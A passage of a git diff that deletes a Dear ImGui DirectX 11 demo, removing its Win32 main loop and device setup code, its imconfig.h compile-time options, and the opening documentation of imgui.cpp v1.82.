them. - // - AddFontFromFileTTF() will return the ImFont* so you can store it if you need to select the font among multiple. - // - If the file cannot be loaded, the function will return NULL. Please handle those errors in your application (e.g. use an assertion, or display an error and quit). - // - The fonts will be rasterized at a given size (w/ oversampling) and stored into a texture when calling ImFontAtlas::Build()/GetTexDataAsXXXX(), which ImGui_ImplXXXX_NewFrame below will call. - // - Read 'docs/FONTS.md' for more instructions and details. - // - Remember that in C/C++ if you want to include a backslash \ in a string literal you need to write a double backslash \\ ! - //io.Fonts->AddFontDefault(); - //io.Fonts->AddFontFromFileTTF("../../misc/fonts/Roboto-Medium.ttf", 16.0f); - //io.Fonts->AddFontFromFileTTF("../../misc/fonts/Cousine-Regular.ttf", 15.0f); - //io.Fonts->AddFontFromFileTTF("../../misc/fonts/DroidSans.ttf", 16.0f); - //io.Fonts->AddFontFromFileTTF("../../misc/fonts/ProggyTiny.ttf", 10.0f); - //ImFont* font = io.Fonts->AddFontFromFileTTF("c:\\Windows\\Fonts\\ArialUni.ttf", 18.0f, NULL, io.Fonts->GetGlyphRangesJapanese()); - //IM_ASSERT(font != NULL); - - // Our state - bool show_demo_window = true; - bool show_another_window = false; - ImVec4 clear_color = ImVec4(0.45f, 0.55f, 0.60f, 1.00f); - - // Main loop - MSG msg; - ZeroMemory(&msg, sizeof(msg)); - while (msg.message != WM_QUIT) - { - // Poll and handle messages (inputs, window resize, etc.) - // You can read the io.WantCaptureMouse, io.WantCaptureKeyboard flags to tell if dear imgui wants to use your inputs. - // - When io.WantCaptureMouse is true, do not dispatch mouse input data to your main application. - // - When io.WantCaptureKeyboard is true, do not dispatch keyboard input data to your main application. - // Generally you may always pass all inputs to dear imgui, and hide them from your application based on those two flags. - if (::PeekMessage(&msg, NULL, 0U, 0U, PM_REMOVE)) - { - ::TranslateMessage(&msg); - ::DispatchMessage(&msg); - continue; - } - - // Start the Dear ImGui frame - ImGui_ImplDX11_NewFrame(); - ImGui_ImplWin32_NewFrame(); - ImGui::NewFrame(); - - // 1. Show the big demo window (Most of the sample code is in ImGui::ShowDemoWindow()! You can browse its code to learn more about Dear ImGui!). - if (show_demo_window) - ImGui::ShowDemoWindow(&show_demo_window); - - // 2. Show a simple window that we create ourselves. We use a Begin/End pair to created a named window. - { - static float f = 0.0f; - static int counter = 0; - - ImGui::Begin("Hello, world!"); // Create a window called "Hello, world!" and append into it. - - ImGui::Text("This is some useful text."); // Display some text (you can use a format strings too) - ImGui::Checkbox("Demo Window", &show_demo_window); // Edit bools storing our window open/close state - ImGui::Checkbox("Another Window", &show_another_window); - - ImGui::SliderFloat("float", &f, 0.0f, 1.0f); // Edit 1 float using a slider from 0.0f to 1.0f - ImGui::ColorEdit3("clear color", (float*)&clear_color); // Edit 3 floats representing a color - - if (ImGui::Button("Button")) // Buttons return true when clicked (most widgets return true when edited/activated) - counter++; - ImGui::SameLine(); - ImGui::Text("counter = %d", counter); - - ImGui::Text("Application average %.3f ms/frame (%.1f FPS)", 1000.0f / ImGui::GetIO().Framerate, ImGui::GetIO().Framerate); - ImGui::End(); - } - - // 3. Show another simple window. - if (show_another_window) - { - ImGui::Begin("Another Window", &show_another_window); // Pass a pointer to our bool variable (the window will have a closing button that will clear the bool when clicked) - ImGui::Text("Hello from another window!"); - if (ImGui::Button("Close Me")) - show_another_window = false; - ImGui::End(); - } - - // Rendering - ImGui::Render(); - const float clear_color_with_alpha[4] = { clear_color.x * clear_color.w, clear_color.y * clear_color.w, clear_color.z * clear_color.w, clear_color.w }; - g_pd3dDeviceContext->OMSetRenderTargets(1, &g_mainRenderTargetView, NULL); - g_pd3dDeviceContext->ClearRenderTargetView(g_mainRenderTargetView, clear_color_with_alpha); - ImGui_ImplDX11_RenderDrawData(ImGui::GetDrawData()); - - g_pSwapChain->Present(1, 0); // Present with vsync - //g_pSwapChain->Present(0, 0); // Present without vsync - } - - // Cleanup - ImGui_ImplDX11_Shutdown(); - ImGui_ImplWin32_Shutdown(); - ImGui::DestroyContext(); - - CleanupDeviceD3D(); - ::DestroyWindow(hwnd); - ::UnregisterClass(wc.lpszClassName, wc.hInstance); - - return 0; -}) - -// Helper functions - -bool CreateDeviceD3D(HWND hWnd) -{ - // Setup swap chain - DXGI_SWAP_CHAIN_DESC sd; - ZeroMemory(&sd, sizeof(sd)); - sd.BufferCount = 2; - sd.BufferDesc.Width = 0; - sd.BufferDesc.Height = 0; - sd.BufferDesc.Format = DXGI_FORMAT_R8G8B8A8_UNORM; - sd.BufferDesc.RefreshRate.Numerator = 60; - sd.BufferDesc.RefreshRate.Denominator = 1; - sd.Flags = DXGI_SWAP_CHAIN_FLAG_ALLOW_MODE_SWITCH; - sd.BufferUsage = DXGI_USAGE_RENDER_TARGET_OUTPUT; - sd.OutputWindow = hWnd; - sd.SampleDesc.Count = 1; - sd.SampleDesc.Quality = 0; - sd.Windowed = TRUE; - sd.SwapEffect = DXGI_SWAP_EFFECT_DISCARD; - - UINT createDeviceFlags = 0; - //createDeviceFlags |= D3D11_CREATE_DEVICE_DEBUG; - D3D_FEATURE_LEVEL featureLevel; - const D3D_FEATURE_LEVEL featureLevelArray[2] = { D3D_FEATURE_LEVEL_11_0, D3D_FEATURE_LEVEL_10_0, }; - - const auto pD3D11CreateDeviceAndSwapChain = - reinterpret_cast( - GetProcAddress(LoadLibraryA("d3d11.dll"), "D3D11CreateDeviceAndSwapChain")); - - if (pD3D11CreateDeviceAndSwapChain(NULL, D3D_DRIVER_TYPE_HARDWARE, NULL, - createDeviceFlags, featureLevelArray, 2, D3D11_SDK_VERSION, &sd, - &g_pSwapChain, &g_pd3dDevice, &featureLevel, &g_pd3dDeviceContext) != S_OK) - return false; - - CreateRenderTarget(); - return true; -} - -void CleanupDeviceD3D() -{ - CleanupRenderTarget(); - if (g_pSwapChain) { g_pSwapChain->Release(); g_pSwapChain = NULL; } - if (g_pd3dDeviceContext) { g_pd3dDeviceContext->Release(); g_pd3dDeviceContext = NULL; } - if (g_pd3dDevice) { g_pd3dDevice->Release(); g_pd3dDevice = NULL; } -} - -void CreateRenderTarget() -{ - ID3D11Texture2D* pBackBuffer; - g_pSwapChain->GetBuffer(0, IID_PPV_ARGS(&pBackBuffer)); - g_pd3dDevice->CreateRenderTargetView(pBackBuffer, NULL, &g_mainRenderTargetView); - pBackBuffer->Release(); -} - -void CleanupRenderTarget() -{ - if (g_mainRenderTargetView) { g_mainRenderTargetView->Release(); g_mainRenderTargetView = NULL; } -} - -// Forward declare message handler from imgui_impl_win32.cpp -extern IMGUI_IMPL_API LRESULT ImGui_ImplWin32_WndProcHandler(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam); - -// Win32 message handler -LRESULT WINAPI WndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam) -{ - if (ImGui_ImplWin32_WndProcHandler(hWnd, msg, wParam, lParam)) - return true; - - switch (msg) - { - case WM_SIZE: - if (g_pd3dDevice != NULL && wParam != SIZE_MINIMIZED) - { - CleanupRenderTarget(); - g_pSwapChain->ResizeBuffers(0, (UINT)LOWORD(lParam), (UINT)HIWORD(lParam), DXGI_FORMAT_UNKNOWN, 0); - CreateRenderTarget(); - } - return 0; - case WM_SYSCOMMAND: - if ((wParam & 0xfff0) == SC_KEYMENU) // Disable ALT application menu - return 0; - break; - case WM_DESTROY: - ::PostQuitMessage(0); - return 0; - } - return ::DefWindowProc(hWnd, msg, wParam, lParam); -} diff --git a/demos/DemoImGui/imconfig.h b/demos/DemoImGui/imconfig.h deleted file mode 100644 index 85fa159..0000000 --- a/demos/DemoImGui/imconfig.h +++ /dev/null @@ -1,125 +0,0 @@ -//----------------------------------------------------------------------------- -// COMPILE-TIME OPTIONS FOR DEAR IMGUI -// Runtime options (clipboard callbacks, enabling various features, etc.) can generally be set via the ImGuiIO structure. -// You can use ImGui::SetAllocatorFunctions() before calling ImGui::CreateContext() to rewire memory allocation functions. -//----------------------------------------------------------------------------- -// A) You may edit imconfig.h (and not overwrite it when updating Dear ImGui, or maintain a patch/rebased branch with your modifications to it) -// B) or '#define IMGUI_USER_CONFIG "my_imgui_config.h"' in your project and then add directives in your own file without touching this template. -//----------------------------------------------------------------------------- -// You need to make sure that configuration settings are defined consistently _everywhere_ Dear ImGui is used, which include the imgui*.cpp -// files but also _any_ of your code that uses Dear ImGui. This is because some compile-time options have an affect on data structures. -// Defining those options in imconfig.h will ensure every compilation unit gets to see the same data structure layouts. -// Call IMGUI_CHECKVERSION() from your .cpp files to verify that the data structures your files are using are matching the ones imgui.cpp is using. -//----------------------------------------------------------------------------- - -#pragma once -#define WINUSERAPI -#define _KERNEL32_ -#define _ACRTIMP -#define _NTSYSTEM_ -#define _GDI32_ - -//---- Define assertion handler. Defaults to calling assert(). -// If your macro uses multiple statements, make sure is enclosed in a 'do { .. } while (0)' block so it can be used as a single statement. -//#define IM_ASSERT(_EXPR) MyAssert(_EXPR) -//#define IM_ASSERT(_EXPR) ((void)(_EXPR)) // Disable asserts - -//---- Define attributes of all API symbols declarations, e.g. for DLL under Windows -// Using Dear ImGui via a shared library is not recommended, because of function call overhead and because we don't guarantee backward nor forward ABI compatibility. -// DLL users: heaps and globals are not shared across DLL boundaries! You will need to call SetCurrentContext() + SetAllocatorFunctions() -// for each static/DLL boundary you are calling from. Read "Context and Memory Allocators" section of imgui.cpp for more details. -//#define IMGUI_API __declspec( dllexport ) -//#define IMGUI_API __declspec( dllimport ) - -//---- Don't define obsolete functions/enums/behaviors. Consider enabling from time to time after updating to avoid using soon-to-be obsolete function/names. -//#define IMGUI_DISABLE_OBSOLETE_FUNCTIONS - -//---- Disable all of Dear ImGui or don't implement standard windows. -// It is very strongly recommended to NOT disable the demo windows during development. Please read comments in imgui_demo.cpp. -//#define IMGUI_DISABLE // Disable everything: all headers and source files will be empty. -//#define IMGUI_DISABLE_DEMO_WINDOWS // Disable demo windows: ShowDemoWindow()/ShowStyleEditor() will be empty. Not recommended. -//#define IMGUI_DISABLE_METRICS_WINDOW // Disable metrics/debugger window: ShowMetricsWindow() will be empty. - -//---- Don't implement some functions to reduce linkage requirements. -//#define IMGUI_DISABLE_WIN32_DEFAULT_CLIPBOARD_FUNCTIONS // [Win32] Don't implement default clipboard handler. Won't use and link with OpenClipboard/GetClipboardData/CloseClipboard etc. (user32.lib/.a, kernel32.lib/.a) -//#define IMGUI_DISABLE_WIN32_DEFAULT_IME_FUNCTIONS // [Win32] Don't implement default IME handler. Won't use and link with ImmGetContext/ImmSetCompositionWindow. (imm32.lib/.a) -//#define IMGUI_DISABLE_WIN32_FUNCTIONS // [Win32] Won't use and link with any Win32 function (clipboard, ime). -//#define IMGUI_ENABLE_OSX_DEFAULT_CLIPBOARD_FUNCTIONS // [OSX] Implement default OSX clipboard handler (need to link with '-framework ApplicationServices', this is why this is not the default). -//#define IMGUI_DISABLE_DEFAULT_FORMAT_FUNCTIONS // Don't implement ImFormatString/ImFormatStringV so you can implement them yourself (e.g. if you don't want to link with vsnprintf) -//#define IMGUI_DISABLE_DEFAULT_MATH_FUNCTIONS // Don't implement ImFabs/ImSqrt/ImPow/ImFmod/ImCos/ImSin/ImAcos/ImAtan2 so you can implement them yourself. -//#define IMGUI_DISABLE_DEFAULT_FILE_FUNCTIONS // Don't implement ImFileOpen/ImFileClose/ImFileRead/ImFileWrite so you can implement them yourself if you don't want to link with fopen/fclose/fread/fwrite. This will also disable the LogToTTY() function. -//#define IMGUI_DISABLE_DEFAULT_ALLOCATORS // Don't implement default allocators calling malloc()/free() to avoid linking with them. You will need to call ImGui::SetAllocatorFunctions(). - -//---- Include imgui_user.h at the end of imgui.h as a convenience -//#define IMGUI_INCLUDE_IMGUI_USER_H - -//---- Pack colors to BGRA8 instead of RGBA8 (to avoid converting from one to another) -//#define IMGUI_USE_BGRA_PACKED_COLOR - -//---- Use 32-bit for ImWchar (default is 16-bit) to support unicode planes 1-16. (e.g. point beyond 0xFFFF like emoticons, dingbats, symbols, shapes, ancient languages, etc...) -//#define IMGUI_USE_WCHAR32 - -//---- Avoid multiple STB libraries implementations, or redefine path/filenames to prioritize another version -// By default the embedded implementations are declared static and not available outside of Dear ImGui sources files. -//#define IMGUI_STB_TRUETYPE_FILENAME "my_folder/stb_truetype.h" -//#define IMGUI_STB_RECT_PACK_FILENAME "my_folder/stb_rect_pack.h" -//#define IMGUI_DISABLE_STB_TRUETYPE_IMPLEMENTATION -//#define IMGUI_DISABLE_STB_RECT_PACK_IMPLEMENTATION - -//---- Use stb_printf's faster implementation of vsnprintf instead of the one from libc (unless IMGUI_DISABLE_DEFAULT_FORMAT_FUNCTIONS is defined) -// Requires 'stb_sprintf.h' to be available in the include path. Compatibility checks of arguments and formats done by clang and GCC will be disabled in order to support the extra formats provided by STB sprintf. -// #define IMGUI_USE_STB_SPRINTF - -//---- Use FreeType to build and rasterize the font atlas (instead of stb_truetype which is embedded by default in Dear ImGui) -// Requires FreeType headers to be available in the include path. Requires program to be compiled with 'misc/freetype/imgui_freetype.cpp' (in this repository) + the FreeType library (not provided). -// On Windows you may use vcpkg with 'vcpkg install freetype' + 'vcpkg integrate install'. -//#define IMGUI_ENABLE_FREETYPE - -//---- Use stb_truetype to build and rasterize the font atlas (default) -// The only purpose of this define is if you want force compilation of the stb_truetype backend ALONG with the FreeType backend. -//#define IMGUI_ENABLE_STB_TRUETYPE - -//---- Define constructor and implicit cast operators to convert back<>forth between your math types and ImVec2/ImVec4. -// This will be inlined as part of ImVec2 and ImVec4 class declarations. -/* -#define IM_VEC2_CLASS_EXTRA \ - ImVec2(const MyVec2& f) { x = f.x; y = f.y; } \ - operator MyVec2() const { return MyVec2(x,y); } - -#define IM_VEC4_CLASS_EXTRA \ - ImVec4(const MyVec4& f) { x = f.x; y = f.y; z = f.z; w = f.w; } \ - operator MyVec4() const { return MyVec4(x,y,z,w); } -*/ - -//---- Use 32-bit vertex indices (default is 16-bit) is one way to allow large meshes with more than 64K vertices. -// Your renderer backend will need to support it (most example renderer backends support both 16/32-bit indices). -// Another way to allow large meshes while keeping 16-bit indices is to handle ImDrawCmd::VtxOffset in your renderer. -// Read about ImGuiBackendFlags_RendererHasVtxOffset for details. -//#define ImDrawIdx unsigned int - -//---- Override ImDrawCallback signature (will need to modify renderer backends accordingly) -//struct ImDrawList; -//struct ImDrawCmd; -//typedef void (*MyImDrawCallback)(const ImDrawList* draw_list, const ImDrawCmd* cmd, void* my_renderer_user_data); -//#define ImDrawCallback MyImDrawCallback - -//---- Debug Tools: Macro to break in Debugger -// (use 'Metrics->Tools->Item Picker' to pick widgets with the mouse and break into them for easy debugging.) -//#define IM_DEBUG_BREAK IM_ASSERT(0) -//#define IM_DEBUG_BREAK __debugbreak() - -//---- Debug Tools: Have the Item Picker break in the ItemAdd() function instead of ItemHoverable(), -// (which comes earlier in the code, will catch a few extra items, allow picking items other than Hovered one.) -// This adds a small runtime cost which is why it is not enabled by default. -//#define IMGUI_DEBUG_TOOL_ITEM_PICKER_EX - -//---- Debug Tools: Enable slower asserts -//#define IMGUI_DEBUG_PARANOID - -//---- Tip: You can add extra functions within the ImGui:: namespace, here or in your own headers files. -/* -namespace ImGui -{ - void MyFunction(const char* name, const MyMatrix44& v); -} -*/ diff --git a/demos/DemoImGui/imgui.cpp b/demos/DemoImGui/imgui.cpp deleted file mode 100644 index dd3940e..0000000 --- a/demos/DemoImGui/imgui.cpp +++ /dev/null @@ -1,11452 +0,0 @@ -// dear imgui, v1.82 WIP -// (main code and documentation) - -// Help: -// - Read FAQ at http://dearimgui.org/faq -// - Newcomers, read 'Programmer guide' below for notes on how to setup Dear ImGui in your codebase. -// - Call and read ImGui::ShowDemoWindow() in imgui_demo.cpp. All applications in examples/ are doing that. -// Read imgui.cpp for details, links and comments. - -// Resources: -// - FAQ http://dearimgui.org/faq -// - Homepage & latest https://github.com/ocornut/imgui -// - Releases & changelog https://github.com/ocornut/imgui/releases -// - Gallery https://github.com/ocornut/imgui/issues/3488 (please post your screenshots/video there!) -// - Glossary https://github.com/ocornut/imgui/wiki/Glossary -// - Wiki https://github.com/ocornut/imgui/wiki -// - Issues & support https://github.com/ocornut/imgui/issues -// - Discussions https://github.com/ocornut/imgui/discussions - -// Developed by Omar Cornut and every direct or indirect contributors to the GitHub. -// See LICENSE.txt for copyright and licensing details (standard MIT License). -// This library is free but needs your support to sustain development and maintenance. -// Businesses: you can support continued development via invoiced technical support, maintenance and sponsoring contracts. Please reach out to "contact AT dearimgui.org". -// Individuals: you can support continued development via donations. See docs/README or web page. - -// It is recommended that you don't modify imgui.cpp! It will become difficult for you to update the library. -// Note that 'ImGui::' being a namespace, you can add functions into the namespace from your own source files, without -// modifying imgui.h or imgui.cpp. You may include imgui_internal.h to access internal data structures, but it doesn't -// come with any guarantee of forward compatibility. Discussing your changes on the GitHub Issue Tracker may lead you -// to a better solution or official support for them. - -/* - -Index of this file: - -DOCUMENTATION - -- MISSION STATEMENT -- END-USER GUIDE -- PROGRAMMER GUIDE - - READ FIRST - - HOW TO UPDATE TO A NEWER VERSION OF DEAR IMGUI - - GETTING STARTED WITH INTEGRATING DEAR IMGUI IN YOUR CODE/ENGINE - - HOW A SIMPLE APPLICATION MAY LOOK LIKE - - HOW A SIMPLE RENDERING FUNCTION MAY LOOK LIKE - - USING GAMEPAD/KEYBOARD NAVIGATION CONTROLS -- API BREAKING CHANGES (read me when you update!) -- FREQUENTLY ASKED QUESTIONS (FAQ) - - Read all answers online: https://www.dearimgui.org/faq, or in docs/FAQ.md (with a Markdown viewer) - -CODE -(search for "[SECTION]" in the code to find them) - -// [SECTION] INCLUDES -// [SECTION] FORWARD DECLARATIONS -// [SECTION] CONTEXT AND MEMORY ALLOCATORS -// [SECTION] USER FACING STRUCTURES (ImGuiStyle, ImGuiIO) -// [SECTION] MISC HELPERS/UTILITIES (Geometry functions) -// [SECTION] MISC HELPERS/UTILITIES (String, Format, Hash functions) -// [SECTION] MISC HELPERS/UTILITIES (File functions) -// [SECTION] MISC HELPERS/UTILITIES (ImText* functions) -// [SECTION] MISC HELPERS/UTILITIES (Color functions) -// [SECTION] ImGuiStorage -// [SECTION] ImGuiTextFilter -// [SECTION] ImGuiTextBuffer -// [SECTION] ImGuiListClipper -// [SECTION] STYLING -// [SECTION] RENDER HELPERS -// [SECTION] MAIN CODE (most of the code! lots of stuff, needs tidying up!) -// [SECTION] ERROR CHECKING -// [SECTION] LAYOUT -// [SECTION] SCROLLING -// [SECTION] TOOLTIPS -// [SECTION] POPUPS -// [SECTION] KEYBOARD/GAMEPAD NAVIGATION -// [SECTION] DRAG AND DROP -// [SECTION] LOGGING/CAPTURING -// [SECTION] SETTINGS -// [SECTION] VIEWPORTS -// [SECTION] PLATFORM DEPENDENT HELPERS -// [SECTION] METRICS/DEBUGGER WINDOW - -*/ - -//----------------------------------------------------------------------------- -// DOCUMENTATION -//----------------------------------------------------------------------------- - -/* - - MISSION STATEMENT - ================= - - - Easy to use to create code-driven and data-driven tools. - - Easy to use to create ad hoc short-lived tools and long-lived, more elaborate tools. - - Easy to hack and improve. - - Minimize setup and maintenance. - - Minimize state storage on user side. - - Portable, minimize dependencies, run on target (consoles, phones, etc.). - - Efficient runtime and memory consumption. - - Designed for developers and content-creators, not the typical end-user! Some of the current weaknesses includes: - - - Doesn't look fancy, doesn't animate. - - Limited layout features, intricate layouts are typically crafted in code. - - - END-USER GUIDE - ============== - - - Double-click on title bar to collapse window. - - Click upper right corner to close a window, available when 'bool* p_open' is passed to ImGui::Begin(). - - Click and drag on lower right corner to resize window (double-click to auto fit window to its contents). - - Click and drag on any empty space to move window. - - TAB/SHIFT+TAB to cycle through keyboard editable fields. - - CTRL+Click on a slider or drag box to input value as text. - - Use mouse wheel to scroll. - - Text editor: - - Hold SHIFT or use mouse to select text. - - CTRL+Left/Right to word jump. - - CTRL+Shift+Left/Right to select words. - - CTRL+A our Double-Click to select all. - - CTRL+X,CTRL+C,CTRL+V to use OS clipboard/ - - CTRL+Z,CTRL+Y to undo/redo. - - ESCAPE to revert text to its original value. - - You can apply arithmetic operators +,*,/ on numerical values. Use +- to subtract (because - would set a negative value!) - - Controls are automatically adjusted for OSX to match standard OSX text editing operations. - - General Keyboard controls: enable with ImGuiConfigFlags_NavEnableKeyboard. - - General Gamepad controls: enable with ImGuiConfigFlags_NavEnableGamepad. See suggested mappings in imgui.h ImGuiNavInput_ + download PNG/PSD at http://dearimgui.org/controls_sheets - - - PROGRAMMER GUIDE - ================ - - READ FIRST - ---------- - - Remember to read the FAQ (https://www.dearimgui.org/faq) - - Your code creates the UI, if your code doesn't run the UI is gone! The UI can be highly dynamic, there are no construction - or destruction steps, less superfluous data retention on your side, less state duplication, less state synchronization, less bugs. - - Call and read ImGui::ShowDemoWindow() for demo code demonstrating most features. - - The library is designed to be built from sources. Avoid pre-compiled binaries and packaged versions. See imconfig.h to configure your build. - - Dear ImGui is an implementation of the IMGUI paradigm (immediate-mode graphical user interface, a term coined by Casey Muratori). - You can learn about IMGUI principles at http://www.johno.se/book/imgui.html, http://mollyrocket.com/861 & more links in the FAQ. - - Dear ImGui is a "single pass" rasterizing implementation of the IMGUI paradigm, aimed at ease of use and high-performances. - For every application frame your UI code will be called only once. This is in contrast to e.g. Unity's own implementation of an IMGUI, - where the UI code is called multiple times ("multiple passes") from a single entry point. There are pros and cons to both approaches. - - Our origin are on the top-left. In axis aligned bounding boxes, Min = top-left, Max = bottom-right. - - This codebase is also optimized to yield decent performances with typical "Debug" builds settings. - - Please make sure you have asserts enabled (IM_ASSERT redirects to assert() by default, but can be redirected). - If you get an assert, read the messages and comments around the assert. - - C++: this is a very C-ish codebase: we don't rely on C++11, we don't include any C++ headers, and ImGui:: is a namespace. - - C++: ImVec2/ImVec4 do not expose math operators by default, because it is expected that you use your own math types. - See FAQ "How can I use my own math types instead of ImVec2/ImVec4?" for details about setting up imconfig.h for that. - However, imgui_internal.h can optionally export math operators for ImVec2/ImVec4, which we use in this codebase. - - C++: pay attention that ImVector<> manipulates plain-old-data and does not honor construction/destruction (avoid using it in your code!). - - - HOW TO UPDATE TO A NEWER VERSION OF DEAR IMGUI - ---------------------------------------------- - - Overwrite all the sources files except for imconfig.h (if you have made modification to your copy of imconfig.h) - - Or maintain your own branch where you have imconfig.h modified as a top-most commit which you can regularly rebase over master. - - You can also use '#define IMGUI_USER_CONFIG "my_config_file.h" to redirect configuration to your own file. - - Read the "API BREAKING CHANGES" section (below). This is where we list occasional API breaking changes. - If a function/type has been renamed / or marked obsolete, try to fix the name in your code before it is permanently removed - from the public API. If you have a problem with a missing function/symbols, search for its name in the code, there will - likely be a comment about it. Please report any issue to the GitHub page! - - To find out usage of old API, you can add '#define IMGUI_DISABLE_OBSOLETE_FUNCTIONS' in your configuration file. - - Try to keep your copy of Dear ImGui reasonably up to date. - - - GETTING STARTED WITH INTEGRATING DEAR IMGUI IN YOUR CODE/ENGINE - --------------------------------------------------------------- - - Run and study the examples and demo in imgui_demo.cpp to get acquainted with the library. - - In the majority of cases you should be able to use unmodified backends files available in the backends/ folder. - - Add the Dear ImGui source files + selected backend source files to your projects or using your preferred build system. - It is recommended you build and statically link the .cpp files as part of your project and NOT as shared library (DLL). - - You can later customize the imconfig.h file to tweak some compile-time behavior, such as integrating Dear ImGui types with your own maths types. - - When using Dear ImGui, your programming IDE is your friend: follow the declaration of variables, functions and types to find comments about them. - - Dear ImGui never touches or knows about your GPU state. The only function that knows about GPU is the draw function that you provide. - Effectively it means you can create widgets at any time in your code, regardless of considerations of being in "update" vs "render" - phases of your own application. All rendering information are stored into command-lists that you will retrieve after calling ImGui::Render(). - - Refer to the backends and demo applications in the examples/ folder for instruction on how to setup your code. - - If you are running over a standard OS with a common graphics API, you should be able to use unmodified imgui_impl_*** files from the examples/ folder. - - - HOW A SIMPLE APPLICATION MAY LOOK LIKE - -------------------------------------- - EXHIBIT 1: USING THE EXAMPLE BACKENDS (= imgui_impl_XXX.cpp files from the backends/ folder). - The sub-folders in examples/ contains examples applications following this structure. - - // Application init: create a dear imgui context, setup some options, load fonts - ImGui::CreateContext(); - ImGuiIO& io = ImGui::GetIO(); - // TODO: Set optional io.ConfigFlags values, e.g. 'io.ConfigFlags |= ImGuiConfigFlags_NavEnableKeyboard' to enable keyboard controls. - // TODO: Fill optional fields of the io structure later. - // TODO: Load TTF/OTF fonts if you don't want to use the default font. - - // Initialize helper Platform and Renderer backends (here we are using imgui_impl_win32.cpp and imgui_impl_dx11.cpp) - ImGui_ImplWin32_Init(hwnd); - ImGui_ImplDX11_Init(g_pd3dDevice, g_pd3dDeviceContext); - - // Application main loop - while (true) - { - // Feed inputs to dear imgui, start new frame - ImGui_ImplDX11_NewFrame(); - ImGui_ImplWin32_NewFrame(); - ImGui::NewFrame(); - - // Any application code here - ImGui::Text("Hello, world!"); - - // Render dear imgui into screen - ImGui::Render(); - ImGui_ImplDX11_RenderDrawData(ImGui::GetDrawData()); - g_pSwapChain->Present(1, 0); - } - - // Shutdown - ImGui_ImplDX11_Shutdown(); - ImGui_ImplWin32_Shutdown(); - ImGui::DestroyContext(); - - EXHIBIT 2: IMPLEMENTING CUSTOM BACKEND / CUSTOM ENGINE - - // Application init: create a dear imgui context, setup some options, load fonts - ImGui::CreateContext(); - ImGuiIO& io = ImGui::GetIO(); - // TODO: Set optional io.ConfigFlags values, e.g. 'io.ConfigFlags |= ImGuiConfigFlags_NavEnableKeyboard' to enable keyboard controls. - // TODO: Fill optional fields of the io structure later. - // TODO: Load TTF/OTF fonts if you don't want to use the default font. - - // Build and load the texture atlas into a texture - // (In the examples/ app this is usually done within the ImGui_ImplXXX_Init() function from one of the demo Renderer) - int width, height; - unsigned char* pixels = NULL; - io.Fonts->GetTexDataAsRGBA32(&pixels, &width, &height); - - // At this point you've got the texture data and you need to upload that your your graphic system: - // After we have created the texture, store its pointer/identifier (_in whichever format your engine uses_) in 'io.Fonts->TexID'. - // This will be passed back to your via the renderer. Basically ImTextureID == void*. Read FAQ for details about ImTextureID. - MyTexture* texture = MyEngine::CreateTextureFromMemoryPixels(pixels, width, height, TEXTURE_TYPE_RGBA32) - io.Fonts->SetTexID((void*)texture); - - // Application main loop - while (true) - { - // Setup low-level inputs, e.g. on Win32: calling GetKeyboardState(), or write to those fields from your Windows message handlers, etc. - // (In the examples/ app this is usually done within the ImGui_ImplXXX_NewFrame() function from one of the demo Platform Backends) - io.DeltaTime = 1.0f/60.0f; // set the time elapsed since the previous frame (in seconds) - io.DisplaySize.x = 1920.0f; // set the current display width - io.DisplaySize.y = 1280.0f; // set the current display height here - io.MousePos = my_mouse_pos; // set the mouse position - io.MouseDown[0] = my_mouse_buttons[0]; // set the mouse button states - io.MouseDown[1] = my_mouse_buttons[1]; - - // Call NewFrame(), after this point you can use ImGui::* functions anytime - // (So you want to try calling NewFrame() as early as you can in your mainloop to be able to use Dear ImGui everywhere) - ImGui::NewFrame(); - - // Most of your application code here - ImGui::Text("Hello, world!"); - MyGameUpdate(); // may use any Dear ImGui functions, e.g. ImGui::Begin("My window"); ImGui::Text("Hello, world!"); ImGui::End(); - MyGameRender(); // may use any Dear ImGui functions as well! - - // Render dear imgui, swap buffers - // (You want to try calling EndFrame/Render as late as you can, to be able to use Dear ImGui in your own game rendering code) - ImGui::EndFrame(); - ImGui::Render(); - ImDrawData* draw_data = ImGui::GetDrawData(); - MyImGuiRenderFunction(draw_data); - SwapBuffers(); - } - - // Shutdown - ImGui::DestroyContext(); - - To decide whether to dispatch mouse/keyboard inputs to Dear ImGui to the rest your application, - you should read the 'io.WantCaptureMouse', 'io.WantCaptureKeyboard' and 'io.WantTextInput' flags! - Please read the FAQ and example applications for details about this! - - - HOW A SIMPLE RENDERING FUNCTION MAY LOOK LIKE - --------------------------------------------- - The backends in impl_impl_XXX.cpp files contains many working implementations of a rendering function. - - void void MyImGuiRenderFunction(ImDrawData* draw_data) - { - // TODO: Setup render state: alpha-blending enabled, no face culling, no depth testing, scissor enabled - // TODO: Setup viewport covering draw_data->DisplayPos to draw_data->DisplayPos + draw_data->DisplaySize - // TODO: Setup orthographic projection matrix cover draw_data->DisplayPos to draw_data->DisplayPos + draw_data->DisplaySize - // TODO: Setup shader: vertex { float2 pos, float2 uv, u32 color }, fragment shader sample color from 1 texture, multiply by vertex color. - for (int n = 0; n < draw_data->CmdListsCount; n++) - { - const ImDrawList* cmd_list = draw_data->CmdLists[n]; - const ImDrawVert* vtx_buffer = cmd_list->VtxBuffer.Data; // vertex buffer generated by Dear ImGui - const ImDrawIdx* idx_buffer = cmd_list->IdxBuffer.Data; // index buffer generated by Dear ImGui - for (int cmd_i = 0; cmd_i < cmd_list->CmdBuffer.Size; cmd_i++) - { - const ImDrawCmd* pcmd = &cmd_list->CmdBuffer[cmd_i]; - if (pcmd->UserCallback) - { - pcmd->UserCallback(cmd_list, pcmd); - } - else - { - // The texture for the draw call is specified by pcmd->TextureId. - // The vast majority of draw calls will use the Dear ImGui texture atlas, which value you have set yourself during initialization. - MyEngineBindTexture((MyTexture*)pcmd->TextureId); - - // We are using scissoring to clip some objects. All low-level graphics API should supports it. - // - If your engine doesn't support scissoring yet, you may ignore this at first. You will get some small glitches - // (some elements visible outside their bounds) but you can fix that once everything else works! - // - Clipping coordinates are provided in imgui coordinates space: - // - For a given viewport, draw_data->DisplayPos == viewport->Pos and draw_data->DisplaySize == viewport->Size - // - In a single viewport application, draw_data->DisplayPos == (0,0) and draw_data->DisplaySize == io.DisplaySize, but always use GetMainViewport()->Pos/Size instead of hardcoding those values. - // - In the interest of supporting multi-viewport applications (see 'docking' branch on github), - // always subtract draw_data->DisplayPos from clipping bounds to convert them to your viewport space. - // - Note that pcmd->ClipRect contains Min+Max bounds. Some graphics API may use Min+Max, other may use Min+Size (size being Max-Min) - ImVec2 pos = 